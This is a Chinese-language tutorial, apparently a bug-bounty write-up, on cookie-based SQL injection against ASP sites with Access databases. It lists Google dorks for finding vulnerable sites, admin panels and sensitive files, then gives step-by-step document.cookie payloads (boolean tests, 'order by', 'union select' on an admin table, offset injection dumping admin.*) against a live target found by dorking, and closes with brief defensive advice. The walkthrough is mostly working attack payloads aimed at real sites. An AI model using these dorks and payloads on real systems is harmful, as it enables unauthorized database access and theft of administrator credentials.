记录一次公益SRC常见的cookie注入漏洞
字数 814 2025-08-22 12:23:42
Cookie注入漏洞分析与实战教学
一、信息收集技术
1. 谷歌语法应用
通过谷歌语法可以高效地发现潜在漏洞目标:
# 查找带有ID传参的网站(可发现SQL注入漏洞)
inurl:asp id=xx
# 查找网站后台(可发现弱口令、暴力破解等漏洞)
site:http://xxxx.com "admin"
site:http://xx.com intext:管理
site:http://xx.com inurl:login
site:http://xx.com intitle:后台
# 查看上传漏洞
site:http://xx.com inurl:file
site:http://xx.com inurl:load
# 查找敏感文件
filetype:mdb|doc|xlsx|pdf
二、Cookie注入原理
1. 基本概念
- Cookie作用:相当于访问者的身份证
- 漏洞原理:后端PHP代码使用
$_REQUEST[]获取Cookie值,网站将Cookie传参与原有SQL语句拼接后传入数据库 - 适用环境:主要存在于ASP网站和低版本PHP中
- 数据库特点:ASP常用Access数据库
2. Access数据库特点
- 具有强大的数据处理和统计分析能力
- 无库名概念
- 查询语法严谨:必须使用
select 字段 from 表名格式 - 表名验证:
exists(select*from 表名)可验证表名是否存在
三、Cookie修改方法
- Burp Suite抓包修改
- 浏览器插件修改(需自行编码)
- JavaScript直接设置:
document.cookie='id='+escape("注入代码")
四、实战演示
1. 信息收集
使用谷歌语法inurl:asp id=xx查找带有ID传参的ASP网站,发现多个目标(如id=104的网站)
2. SQL注入判断
使用以下JS代码测试注入:
document.cookie='id='+escape("104 and 1=1")
document.cookie='id='+escape("104 and 1=2")
- 1=1时页面正常显示
- 1=2时网站报错
- 确认存在SQL注入漏洞
3. 查找字段数
document.cookie='id='+escape("104 order by 10")
确认字段数为10
4. 爆破表名
使用Burp爆破表名(Access数据库无库名):
document.cookie='id='+escape("104 union select 1,2,3,4,5,6,7,8,9,10 from admin")
- 确认存在admin表
- 回显点为2和5
5. 偏移注入获取数据
使用偏移注入查看admin表字段数并显示内容:
document.cookie='id='+escape("104 union select 1,2,3,4,5,6,7,admin.* from admin")
document.cookie='id='+escape("104 union select 1,2,3,admin.*,7,8,9,10 from admin")
五、完整攻击流程总结
- 使用谷歌语法找到注入点
- 判断注入是否存在
- 通过Cookie绕过注入防护
- 爆破表名(Access数据库)
- 使用偏移注入查找表的字段数
- 爆破目录查找登录框,进入后台进一步渗透获取权限
六、防御建议
- 对Cookie值进行严格过滤和转义
- 使用参数化查询而非字符串拼接
- 升级PHP版本(高版本PHP已修复此问题)
- 限制数据库用户权限
- 对错误信息进行适当处理,避免泄露敏感信息